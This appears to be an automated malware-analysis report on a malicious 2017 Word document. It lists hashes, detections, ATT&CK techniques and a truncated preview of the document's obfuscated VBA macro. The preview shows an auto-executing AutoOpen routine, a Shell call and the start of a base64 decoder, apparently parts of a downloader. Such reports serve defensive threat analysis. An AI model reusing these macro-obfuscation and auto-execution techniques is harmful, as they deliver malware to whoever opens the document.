Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 541b88fdc092dac9…

MALICIOUS

Office (OLE)

266.0 KB Created: 2017-06-27 22:25:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 132a67d9795d29e29c5f5f7ed3dc8544 SHA-1: 39b8449b9703880b760c2010db9a2b0660a5b4c9 SHA-256: 541b88fdc092dac9f73bd18247bf9b1b57107bbf005415ac679db5c2728ffea8
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro is present and the heuristics indicate a potential Shell call, suggesting the script attempts to execute arbitrary code. ClamAV also detected this as a macro-based obfuscation malware. The VBA script's obfuscation and use of Shell calls strongly suggest it's a downloader for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    adOWDzI = zydV0OKom & EKp1Gsaeu
    Call Shell(gurDV, RpecJKaU)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "HGJAT9xdl"
    Sub AutoOpen()
    KDRas = 18 + 31
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 79377 bytes
SHA-256: afe18ecf49a4151ce045ae51c6be4b13ab7979974e0485be7952540778de8237
Detection
ClamAV: No threats found
Obfuscation or payload: likely
873 of 1732 identifiers look randomly generated (e.g. 'ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFdTY3Jp') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HGJAT9xdl"
Sub AutoOpen()
KDRas = 18 + 31
Select Case KDRas
Case 2772 - 2764
rDzFL6x = 21158.763331726
Case 4232 / 184
KusHxj9RK = 0
Case 170 - 121
yZhK01B = 21158.763331726
Case Else
UPoYuRhZ = 21158.763331726
End Select
g3hA1 = 18634 / 242
If g3hA1 = 2772 - 2764 Then
cadY1R = -16837
Else
cV5R8 = aZTPHcX
End If
lDM5gFT = cadY1R & cV5R8
lLjcHB = 18 + 31
Select Case lLjcHB
Case 2772 - 2764
cM10AJ = 0
End Select
BhQU39y = 18634 / 242
If BhQU39y = 2772 - 2764 Then
E2aGAKbmf = 27128.0968162
Else
rAv4IBc = True
End If
gKvsw = E2aGAKbmf & rAv4IBc
iWjwhtAc = 768 - 724
Select Case iWjwhtAc
Case 1380 / 345
VxtA1pZ = 4353
End Select
RmT35 = 224 - 150
If RmT35 = 1380 / 345 Then
tizsCG3k = False
ElseIf RmT35 = 5440 / 340 Then
P6k9hT = 18373.656278725
Else
fjUB2fzS = LG2iql
End If
TzkFm = tizsCG3k & P6k9hT & fjUB2fzS
yLtTU = 224 - 150
If yLtTU = 1380 / 345 Then
uo8Ew0miR = 57037.27088536
ElseIf yLtTU = 5440 / 340 Then
jguQORm = -23189
Else
RZOB8mVbj = 145
End If
RaRUpl = uo8Ew0miR & jguQORm & RZOB8mVbj
AEh8azuLK = 26918 / 43
If AEh8azuLK = 473 - 467 Then
vv2WCaDZp = 30031
ElseIf AEh8azuLK = 221 - 195 Then
ry932 = 30031
Else
JMS8X9 = True
End If
v4HXP = vv2WCaDZp & ry932 & JMS8X9
eE0las1RQ = -175 + 251
Select Case eE0las1RQ
Case 473 - 467
v17lwyB = 62
Case 221 - 195
UfdXYy0 = 31340.111883409
Case 259 - 203
D8S2m3 = True
End Select
ZMrm4p = -175 + 251
Select Case ZMrm4p
Case 473 - 467
GMNx97DF = True
Case 221 - 195
TGt8ZMu = cDe6fJ
Case 259 - 203
n4JCb3TR = True
Case Else
VMjfw14 = 1401.5140680894
End Select
KDIsBdkO = -175 + 251
Select Case KDIsBdkO
Case 473 - 467
HIzcU19 = 9619.7327927005
Case 221 - 195
XbX38gY = 9619.7327927005
Case 259 - 203
WMip8Pz = 40110.29095069
Case Else
XeZGAXvb = -199045974
End Select
nLj7e = -175 + 251
Select Case nLj7e
Case 473 - 467
SfqFUjr = 6111.6120332357
Case 221 - 195
YsB4OYo = H45AM
Case 259 - 203
yw7GV5Hd = 213
Case Else
uW1k4MKG = 55502.946080786
End Select
KXgbwfY = 296 * 2
If KXgbwfY = 14314 / 14314 Then
f3Chkfvx9 = 127
Else
vqrsW = uiau0
End If
uNaBl = f3Chkfvx9 & vqrsW
q6zlDL8 = 296 * 2
If q6zlDL8 = 14314 / 14314 Then
XHpquz1K = 2
Else
z7dvayU = -19118
End If
U5Y8ge = XHpquz1K & z7dvayU
CQm0v = -156 + 268
Select Case CQm0v
Case 14314 / 14314
LfIR3NzqO = 98
Case 2484 / 92
ilp26f = 26803
End Select
YwDXC = -156 + 268
Select Case YwDXC
Case 14314 / 14314
vDQT2R = 272.87619942178
End Select
G7gXV2F = -156 + 268
Select Case G7gXV2F
Case 14314 / 14314
on9fm = 7042
Case 2484 / 92
HmOFV = 40
End Select
EAiF3Wn = 5115 / 55
Select Case EAiF3Wn
Case -1251 + 1252
MUW3Az = 31076
Case -639 + 658
ZcmVxnh = aTso1
Case -133 + 186
WmUzj = 21603.018832997
Case Else
frl5GO = 31076
End Select
lqXeAI7C = 173 * 3
If lqXeAI7C = -1251 + 1252 Then
zQ9Lmx3 = 13685.425595247
End If
F4sSGbQ = F4sSGbQ & zQ9Lmx3
Rnb5NZz6e = 5115 / 55
Select Case Rnb5NZz6e
Case -1251 + 1252
ew2fMxz = 47129.309862617
Case -639 + 658
yCDugIoT = 47129.309862617
Case -133 + 186
jO5dquBWI = 135
Case Else
QALN95E = 5181
End Select
UnuEF = 5115 / 55
Select Case UnuEF
Case -1251 + 1252
iJb8FHW6 = False
Case -639 + 658
unwr3 = 0
Case -133 + 186
WlxUd = 0
End Select
eZeGsQ = 355 - 266
If eZeGsQ = 2704 - 2693 Then
fPylLrT3 = w3tCzEmv
End If
l5rAjxbF = l5rAjxbF & fPylLrT3
kGR0cI = -1499 + 1515
Select Case kGR0cI
Case 2704 - 2693
sDlE2ajyQ = 24999
Case -98 + 124
iT35JbRec = 4463.7639944422
End Select
RksoUnDa = -1499 + 1515
Select Case RksoUnDa
Case 2704 - 2693
tmVCIr = -15343
End Select
Ev2XabO = -1499 + 1515
Select Case Ev2XabO
Case 2704 - 2693
k5bHi2 = 36256.137650632
Case -98 + 124
gvyr1 = 69
Case 8856 / 246
e0dW2wbsB = -629403582
End Select
NdYizrqv = 582 + 32
If NdYizrqv = 241 - 227 Then
PxFtEySZ = True
Else
DE4j7D = 0
End If
BXKQC8 = PxFtEySZ & DE4j7D
Kd7fw = 582 + 32
If Kd7fw = 241 - 227 Then
zHahm = -757273654
Else
Fih5Ns = 18
End If
Ps3koJW = zHahm & Fih5Ns
v94ljs28 = 26058 / 303
Select Case v94ljs28
Case 241 - 227
ut8j1al7 = 10570.872510486
End Select
IVgMvY0w = 26058 / 303
Select Case IVgMvY0w
Case 241 - 227
IgBwGTt = 40086.445336117
Case 4179 / 199
yocLUr2 = zZGtu1bQ7
End Select
dNX7BG8 = 582 + 32
If dNX7BG8 = 241 - 227 Then
hngXsWfIK = -11196
Else
pY2x0J4 = 40780.873662557
End If
U5G9qc = hngXsWfIK & pY2x0J4
ZNualBLoI = 929 - 7
If ZNualBLoI = -741 + 750 Then
x6JFt = 51222.134057325
ElseIf ZNualBLoI = 32730 / 1091 Then
ZNdOSk = 78
Else
LE2MJ = 4622.6840286435
End If
OyMqOle = x6JFt & ZNdOSk & LE2MJ
mr23wnMx = 929 - 7
If mr23wnMx = -741 + 750 Then
O829UtR = 249
End If
Jq9jcie = Jq9jcie & O829UtR
PRmuUM = 356 - 335
Select Case PRmuUM
Case -741 + 750
XBenlDc9 = 17536.830157876
Case 32730 / 1091
sXJ1rEG = 28398.068957879
Case 26390 / 455
nEDQB5 = 28398.068957879
End Select
aYoa8 = 929 - 7
If aYoa8 = -741 + 750 Then
cYEtp = 40317.72696954
End If
Gmethob = Gmethob & cYEtp
v4sdjflJn = 488 - 10
If v4sdjflJn = -1496 + 1508 Then
gt2rHXYNk = 8610
ElseIf v4sdjflJn = 127 - 99 Then
VxtVF = True
Else
kkJbgR = 8610
End If
sWny8D2FJ = gt2rHXYNk & VxtVF & kkJbgR
T2hspx = 168 - 68
Select Case T2hspx
Case -1496 + 1508
knFW9Q = 23723
Case 127 - 99
yUDPBp9 = 5
End Select
c8V5Hil20 = 168 - 68
Select Case c8V5Hil20
Case -1496 + 1508
Kf2NVUzjK = 43242.890910224
Case 127 - 99
WKv8E = False
Case 15861 / 311
wu7TO = 55849.883392754
Case Else
Kn4FEtz = -172196950
End Select
oIrM3 = 488 - 10
If oIrM3 = -1496 + 1508 Then
iP9SQ = i4KQG1r
End If
ZCMNvDB = ZCMNvDB & iP9SQ
eS4zu = 945 + 22
If eS4zu = 2065 - 2050 Then
fOgRaKxDF = False
End If
Xy1R2dHTX = Xy1R2dHTX & fOgRaKxDF
vniz7q = 19695 / 303
Select Case vniz7q
Case 2065 - 2050
GGYqBm = 221
Case 4560 / 228
LrAQm0XS = 35831.97043591
End Select
pPuy4IgJ = 19695 / 303
Select Case pPuy4IgJ
Case 2065 - 2050
puwxHQ = 20983.741827691
Case 4560 / 228
ygIJk = 20983.741827691
End Select
NkoK6cL = 67 + 50
Select Case NkoK6cL
Case 4290 - 4285
YNwSt7FG = 165
Case -859 + 883
DOqjN = False
End Select
yoEyDC6 = 67 + 50
Select Case yoEyDC6
Case 4290 - 4285
uftK7oQ = 136
Case -859 + 883
WR7AemsH = 45546.369923294
Case 11904 / 372
rZEFwn62j = 0
End Select
TANIeBTCk = 67 + 50
Select Case TANIeBTCk
Case 4290 - 4285
uV0q86rAP = qPHvL
Case -859 + 883
vahlztmnU = 40890.138081031
Case 11904 / 372
nWQ8zwjsU = False
End Select
zOo1Kdv3 = 67 + 50
Select Case zOo1Kdv3
Case 4290 - 4285
H0Ke7YEO3 = 57422.015513301
End Select
STcEvVC = 487 + 53
If STcEvVC = 2396 - 2388 Then
BSDJBwj = vaB8XO
Else
Mr1E2kape = 35524.364311969
End If
H0WepvhkE = BSDJBwj & Mr1E2kape
wtNF5MrWY = 52 + 33
Select Case wtNF5MrWY
Case 2396 - 2388
JLxAar = -565727582
Case -717 + 733
bE9hoqSNZ = False
End Select
A8kF6htR9 = 52 + 33
Select Case A8kF6htR9
Case 2396 - 2388
xDa4g = 50
Case -717 + 733
l18k7HKsW = 37754.466116287
Case 176 - 139
zpULnm = True
Case Else
LxbpZtR = 0
End Select
BCev1 = 487 + 53
If BCev1 = 2396 - 2388 Then
H0AFtix = 156
ElseIf BCev1 = -717 + 733 Then
Yx92y0DHa = True
Else
GpywICFU = 0
End If
tRBpHtsWY = H0AFtix & Yx92y0DHa & GpywICFU
uUVx3F = 354 * 2
If uUVx3F = 32500 / 2500 Then
jsu8ZlLPt = G3CS6V2A
End If
XCw6LUkJ0 = XCw6LUkJ0 & jsu8ZlLPt
e7jIP = 354 * 2
If e7jIP = 32500 / 2500 Then
Ms5JbgN = 0
End If
hDBY0 = hDBY0 & Ms5JbgN
ioD7uy = 354 * 2
If ioD7uy = 32500 / 2500 Then
l2B9SEXu = False
End If
ASVQLW = ASVQLW & l2B9SEXu
g7HJTi = 354 * 2
If g7HJTi = 32500 / 2500 Then
MD3q5 = False
Else
ub6TV = -544997146
End If
iucyq = MD3q5 & ub6TV
LCjFvM6U
EUwBqtQ3 = 4440 / 40
Select Case EUwBqtQ3
Case 8526 / 609
XXUMJp = True
Case 8178 / 282
doMvst = -24015
Case 24111 / 513
twpbFKSIa = 5257.7413722008
Case Else
mXjpd = 0
End Select
PWb7z = 4440 / 40
Select Case PWb7z
Case 8526 / 609
PEWak = -12043
Case 8178 / 282
FZ8YT9O5 = -674996828
Case 24111 / 513
rb9qvjQ = 33574.770197914
Case Else
vX2Yx9 = -12043
End Select
mSb0DF = 26738 / 461
If mSb0DF = 8526 / 609 Then
iSBhNX = True
Else
ffsQhB3a = 40632.004348068
End If
CpxezY = iSBhNX & ffsQhB3a
yihQeK5Za = 26738 / 461
If yihQeK5Za = 8526 / 609 Then
a2UC4p1k = 235
Else
AMSW3e8 = 5228.5737256553
End If
GY7oN3OR = a2UC4p1k & AMSW3e8
TQ1TYnj = 4440 / 40
Select Case TQ1TYnj
Case 8526 / 609
uwcEI = 0
Case 8178 / 282
QOtjSnH = 48643.964770265
End Select
l863T = -407 + 424
Select Case l863T
Case 7010 / 701
nGMTwR = 36116.921021147
Case -787 + 805
yzbcJ = True
Case 30192 / 888
sSywelB8 = 36116.921021147
End Select
Z5pBHXDgf = 895 + 21
If Z5pBHXDgf = 7010 / 701 Then
NrlqLhO3 = -928957054
ElseIf Z5pBHXDgf = -787 + 805 Then
mX1ta = 178
Else
jGCov = wuHci
End If
OCL90a = NrlqLhO3 & mX1ta & jGCov
bnmIzA = -407 + 424
Select Case bnmIzA
Case 7010 / 701
QaI3Uok = -16915
Case -787 + 805
VivLrCB = False
Case 30192 / 888
dyGqX = 30353.637712375
Case Else
MpML25E = 0
End Select
heD5yOC0 = -407 + 424
Select Case heD5yOC0
Case 7010 / 701
YUHAGKpCM = -1847932444
Case -787 + 805
gtAIRZ7OW = -1847932444
End Select
fikKL4s = -148 + 247
Select Case fikKL4s
Case 3255 - 3249
RsxRfFy = 1650
Case 21900 / 1095
Lg6c5TEP = 25849.196221651
Case 1650 / 33
nTVWvI9NY = 25849.196221651
End Select
fekbTPs = -148 + 247
Select Case fekbTPs
Case 3255 - 3249
ObJ6gIK = LE4ynQL
Case 21900 / 1095
UAgFfI = 39763.104313906
Case 1650 / 33
zGuaryM = False
Case Else
EGtfxg = False
End Select
R3CJUu = 565 - 26
If R3CJUu = 3255 - 3249 Then
eNgP1L = 25643.540510156
ElseIf R3CJUu = 21900 / 1095 Then
dmWVDJGa7 = 26749
Else
KYkUgTx = t3WcoBC
End If
Z8YXV = eNgP1L & dmWVDJGa7 & KYkUgTx
Uy0W2BskH = -148 + 247
Select Case Uy0W2BskH
Case 3255 - 3249
vESIm = 30722.54264628
Case 21900 / 1095
hvQWhy6 = 30722.54264628
Case 1650 / 33
H9su4LKeP = 5699.1131893681
End Select
p6ph9Qfy = -148 + 247
Select Case p6ph9Qfy
Case 3255 - 3249
ZTSbNWY = 187
Case 21900 / 1095
vwytGQ7P = 52721.002340197
Case 1650 / 33
JeniUNb6g = -4278
End Select
HxebDrL = 27136 / 53
If HxebDrL = -44 + 50 Then
OCnGXWSh = 0
ElseIf HxebDrL = -806 + 838 Then
FmxhpDc = 37
Else
ZvnPB = k0T85Plj
End If
PwfNM = OCnGXWSh & FmxhpDc & ZvnPB
BUzVeDaL = 27136 / 53
If BUzVeDaL = -44 + 50 Then
EbgNm = True
End If
RfRFTpA = RfRFTpA & EbgNm
DbfJlniyk = 27136 / 53
If DbfJlniyk = -44 + 50 Then
cW8kw4CY = -137319672
ElseIf DbfJlniyk = -806 + 838 Then
K7NLTos = 24949.957202584
Else
f3UCO = -30273
End If
gtYqm9b2P = cW8kw4CY & K7NLTos & f3UCO

idRsf = 21879 / 187
Select Case idRsf
Case 14531 / 1321
JBZjK = 61388.016230819
Case 5670 / 210
wq89hJ = Zv8XijO
End Select
OmHyEk8i = 21879 / 187
Select Case OmHyEk8i
Case 14531 / 1321
Xw2Rlu = -1246793194
Case 5670 / 210
gGSPdV = -1246793194
Case 28372 / 692
DUVe3chPl = -18094
Case Else
N0gakG = 22707.139435946
End Select
suL5G = 4880 / 10
If suL5G = 14531 / 1321 Then
VFstCGU = 64877.036023901
Else
JVPhxSWL = 0
End If
c81re0 = VFstCGU & JVPhxSWL
oMu0K = 602 - 35
If oMu0K = -2572 + 2582 Then
ZGDSBgN = 33237.518895637
ElseIf oMu0K = 32058 / 1233 Then
HS9vlyJ = -1012756174
Else
gUZ8eTY = 12717.296298597
End If
mhPKVS = ZGDSBgN & HS9vlyJ & gUZ8eTY
llILH2EK = -156 + 242
Select Case llILH2EK
Case -2572 + 2582
Dto1j = True
Case 32058 / 1233
puJx2h = 0
Case -743 + 779
ocazM = 118
Case Else
NZkIlxR = 0
End Select
UGvtwfYB = -156 + 242
Select Case UGvtwfYB
Case -2572 + 2582
byvbW = nlqSD5wLd
End Select
zQOPufjms = 21200 / 40
If zQOPufjms = -113 + 122 Then
HwU6otSk = -997015804
Else
XF61olh = 16318.546804082
End If
lM86EwOA = HwU6otSk & XF61olh
yxbnW3C6J = 190 - 130
Select Case yxbnW3C6J
Case -113 + 122
EibTzr = gFc870Q
Case 16120 / 620
cRgm6 = 53032.46381313
End Select
iUxdz = 190 - 130
Select Case iUxdz
Case -113 + 122
PZprJs = True
Case 16120 / 620
uRX67go = 39255.68064638
End Select
MRmjxgY9 = 190 - 130
Select Case MRmjxgY9
Case -113 + 122
e1mcsuAd = 0
Case 16120 / 620
eYJbhn = 41087.663423201
Case 31578 / 831
Gh3DLJOPB = 20404
End Select
End Sub

Attribute VB_Name = "McwbP79sh"
Private Const ZDSiRL = 1169817600 / 70
Private Const qGmRA4tv = 67680 - 2400
Private Const cbZG9Ary1 = 16830 / 66
Private Const JfKqhW3uM = 1003225088 / 3827
Private Const DI5Zfuk = 4096 * 1
Private Const yBlIAX5Le = 125 - 61
Private Const pmvGr8ztj = 27136 / 106
Private Const cthJR5g = 59433 + 6103
Public Function WAI9KWnF(yQCH02Ns As String) As String
Dim LF4RsM() As Byte
Dim TTt3Y2() As Byte
Dim Udo1K0(255) As Byte
Dim yXHTnVQy(63) As Long
Dim QoWj5kx(63) As Long
Dim Cdn9lQ(63) As Long
Dim pc4somw As Long
Dim rd1M2k As Integer
Dim lChar As Long
Dim lPos As Long
Dim sOut As String
Dim POrhy5d6 As Long
eoJUQ = -281 + 334
Select Case eoJUQ
Case 17100 / 1710
lQv0aIA = -16991
Case 10902 / 474
Iqcte = 0
Case -468 + 521
kJGP1 = vehMfNY
End Select
G4J7AoUS = 11890 / 41
If G4J7AoUS = 17100 / 1710 Then
zd51Jf = False
Else
hyWPc = 187
End If
NXDzurtx = zd51Jf & hyWPc
eqjrK = 11890 / 41
If eqjrK = 17100 / 1710 Then
DSvEMej = 31384.845485485
End If
m6dFWIP = m6dFWIP & DSvEMej
gloP7dvH = 699 - 664
Select Case gloP7dvH
Case -3751 + 3758
Eqpz1vi8 = 142
End Select
cyTvOUP = 699 - 664
Select Case cyTvOUP
Case -3751 + 3758
BHEJl = 7922.8700280756
Case 11570 / 445
IW9avOJ5 = 7922.8700280756
End Select
wF7ofDVav = -134 + 254
If wF7ofDVav = -3751 + 3758 Then
cNP2xzCJ9 = YUEz1I8
End If
hPk6gZ = hPk6gZ & cNP2xzCJ9
QB1DFz = 699 - 664
Select Case QB1DFz
Case -3751 + 3758
IqaNzp3Ak = iG5lUkY
Case 11570 / 445
iFPtj1T = 2007.6793651513
Case 518 - 466
Os70fl8 = 20170.139046958
End Select
wALxj9c = 2908 / 4
If wALxj9c = 4060 / 4060 Then
C9OkjsX = 42432.541467387
Else
LKdwGlUWD = 39
End If
mTJZfvewy = C9OkjsX & LKdwGlUWD
furZd = -81 + 192
Select Case furZd
Case 4060 / 4060
eLBRfSdz = 27254
End Select
m01Yp = -81 + 192
Select Case m01Yp
Case 4060 / 4060
M8gOTFz = 25978.724583178
End Select
aLJks3 = -81 + 192
Select Case aLJks3
Case 4060 / 4060
Mz0V6dGNX = 5685.9385548359
Case 30472 / 1172
bSw5si = 246
Case 22656 / 384
cmUpAnr = True
Case Else
hZ46XKHWn = 0
End Select
yQCH02Ns = Replace(yQCH02Ns, vbCr, vbNullString)
De2dV = 8466 / 83
Select Case De2dV
Case 27520 / 3440
lJSP1t8rc = NZQH7LrO
Case -923 + 945
Qw5qQo90M = -22628
Case 22968 / 638
rEGsynQ = NZQH7LrO
End Select
KnOpZu = 996 + 17
If KnOpZu = 27520 / 3440 Then
TkZb0isao = 2776.3214049349
End If
iDdpvgK = iDdpvgK & TkZb0isao
puNMc = 8466 / 83
Select Case puNMc
Case 27520 / 3440
vm4Ee = Xu2BjoAIi
Case -923 + 945
IcrWLSB = True
End Select
vOE4KM = 231 - 157
Select Case vOE4KM
Case 25272 / 6318
ka0j1Y = 0
Case 12351 / 537
MnRoZM2h = M79lhOM
Case -259 + 310
f0El2zI = 56193.493362825
Case Else
RF4nEsre = M79lhOM
End Select
GEug4dlW = 231 - 157
Select Case GEug4dlW
Case 25272 / 6318
A9XQh = 26807
Case 12351 / 537
EFmTL = 186
Case -259 + 310
TjQy34YK = 0
Case Else
r7Tem = 0
End Select
rYDMN8Q = 231 - 157
Select Case rYDMN8Q
Case 25272 / 6318
ZvlNFznMY = 5800.7791518023
Case 12351 / 537
UjSKi = -947664970
Case -259 + 310
vIZzd = 36384.792551343
Case Else
a5T9dEVIZ = 105
End Select
Dwrlv = 706 + 5
If Dwrlv = 25272 / 6318 Then
kBqRn5 = -1699888510
Else
vj14GlWiX = 20923
End If
t5LgiGWV = kBqRn5 & vj14GlWiX
usBDZ = 231 - 157
Select Case usBDZ
Case 25272 / 6318
m6fgET8D = False
End Select
II3U7gb = 26768 / 28
If II3U7gb = 11214 / 1246 Then
d1PNfChEO = qyuXh
End If
pgrs5 = pgrs5 & d1PNfChEO
ThWJDrwgY = 2 * 53
Select Case ThWJDrwgY
Case 11214 / 1246
NMBdo = 52880.700469236
End Select
kZOpE = 26768 / 28
If kZOpE = 11214 / 1246 Then
znaVroMj = 65
End If
EwkYo = EwkYo & znaVroMj
G8leFXj5 = 572 - 511
Select Case G8leFXj5
Case 1913 - 1903
S6ngS = -1929695504
Case 1502 - 1484
S8UoND = True
Case 11001 / 193
q5kOPsf4p = A1KLj
End Select
DJ9i7q = 218 + 97
If DJ9i7q = 1913 - 1903 Then
uDdr3A = -1616900554
End If
gFjJmwzb = gFjJmwzb & uDdr3A
Nu0Y1h2 = 572 - 511
Select Case Nu0Y1h2
Case 1913 - 1903
sqX1LegE = 5620.7454865621
Case 1502 - 1484
IUnoLQ = QErS3IV
Case 11001 / 193
Mw91iUJm = 5620.7454865621
End Select
yQCH02Ns = Replace(yQCH02Ns, vbLf, vbNullString)
DUJ96XmwF = -20 + 29
Select Case DUJ96XmwF
Case -453 + 468
jKZk6JQ1 = 0
Case -1152 + 1175
fZd1arF2 = True
Case 627 - 594
zi95GJS62 = 246
End Select
W39AcCO = 9022 / 13
If W39AcCO = -453 + 468 Then
tPdkS = 60581.063342692
Else
d5N2qdCzX = 60581.063342692
End If
EPVq53 = tPdkS & d5N2qdCzX
hMSftBz = -20 + 29
Select Case hMSftBz
Case -453 + 468
knu8S = 52937.792464615
Case -1152 + 1175
KO7Ednb = 27122.910676933
End Select
k8wXY = 24727 / 313
Select Case k8wXY
Case 5058 - 5057
lXQiNGq = 34462.151273819
End Select
UILf6GZx = 24727 / 313
Select Case UILf6GZx
Case 5058 - 5057
jkbuUG = 1801
Case -351 + 378
zYFyX = True
End Select
becgPq = 24727 / 313
Select Case becgPq
Case 5058 - 5057
ZpAD51k4u = P4AwW
End Select
POrhy5d6 = Len(yQCH02Ns) Mod 4
uC87THo = 877 + 27
If uC87THo = 2029 - 2018 Then
pl0KM4 = 29016.501676729
End If
KXpd6vS = KXpd6vS & pl0KM4
C4T3asUwf = 877 + 27
If C4T3asUwf = 2029 - 2018 Then
TY6WLZxR = 61
Else
uplD1Lk = 46177.512897763
End If
G7SUY6Qao = TY6WLZxR & uplD1Lk
fQebMv = 14326 / 7163
Select Case fQebMv
Case 2029 - 2018
hBwyGUu = -1794872456
Case 1191 - 1168
WihGNW = 53456.664810296
Case 243 - 180
PjxR0 = -1794872456
End Select
Z9ErSAGTj = -2370 + 2381
Select Case Z9ErSAGTj
Case 3560 / 712
ZXBsth9 = OHJACc3
End Select
vIWAk6z7 = -2370 + 2381
Select Case vIWAk6z7
Case 3560 / 712
wUVIFZC6 = 47739.384554478
End Select
X6cJO = 29299 / 83
If X6cJO = 3560 / 712 Then
tNuXbD = 102
End If
dDSThefx = dDSThefx & tNuXbD
JVXW0gYQB = -2370 + 2381
Select Case JVXW0gYQB
Case 3560 / 712
sjkT8wyz = -3365
Case 372 - 341
yE5alcwt = True
Case -258 + 308
QmedRrO = 207
Case Else
hIsNEDUT = -3365
End Select
gLGiJ5Hc = 29299 / 83
If gLGiJ5Hc = 3560 / 712 Then
eKuTzQ8d = 68
Else
MbEZVQ90 = 68
End If
R963QN0IM = eKuTzQ8d & MbEZVQ90
If InStrRev(yQCH02Ns, "==") Then
FhQAxyCm = 3192 / 152
Select Case FhQAxyCm
Case 12600 / 1050
KozmDGQp = -16052
Case -34 + 62
OIVcu0O48 = 0
Case -523 + 567
PMyY1n8c = True
Case Else
x0Gisz = 53131.03878871
End Select
xWXyt = 3192 / 152
Select Case xWXyt
Case 12600 / 1050
aUnT4Qxc = True
End Select
bNDaxR = 3192 / 152
Select Case bNDaxR
Case 12600 / 1050
UHsjkay = 29312.079358397
Case -34 + 62
xOEWyFRQ = -1358
Case -523 + 567
ex97JZ = 50342.816121544
Case Else
Xxmb8zP = 223
End Select
scSMo0Zvb = 978 - 14
If scSMo0Zvb = 12600 / 1050 Then
ICMKraQ0 = SZoKu
End If
cWXPKI0Al = cWXPKI0Al & ICMKraQ0
ISd2nwfyC = 329 + 69
If ISd2nwfyC = 30572 / 7643 Then
fuXWwkyF3 = -20572
ElseIf ISd2nwfyC = 1060 - 1035 Then
aNnys = 0
Else
EpmS2gj = 98
End If
byOloUujY = fuXWwkyF3 & aNnys & EpmS2gj
nbYZAR = 329 + 69
If nbYZAR = 30572 / 7643 Then
sKc2uM4 = 14162.959825465
ElseIf nbYZAR = 1060 - 1035 Then
c947OtNS = 211
Else
IdHaek = 0
End If
rLzdwsbS = sKc2uM4 & c947OtNS & IdHaek
Qxq3Rm = 329 + 69
If Qxq3Rm = 30572 / 7643 Then
jTdlEXjn = 112
Else
rY3X8TRQ = 11805
End If
bhd6i = jTdlEXjn & rY3X8TRQ
mwKWtnu = 329 + 69
If mwKWtnu = 30572 / 7643 Then
o1eExu0WC = -852682562
…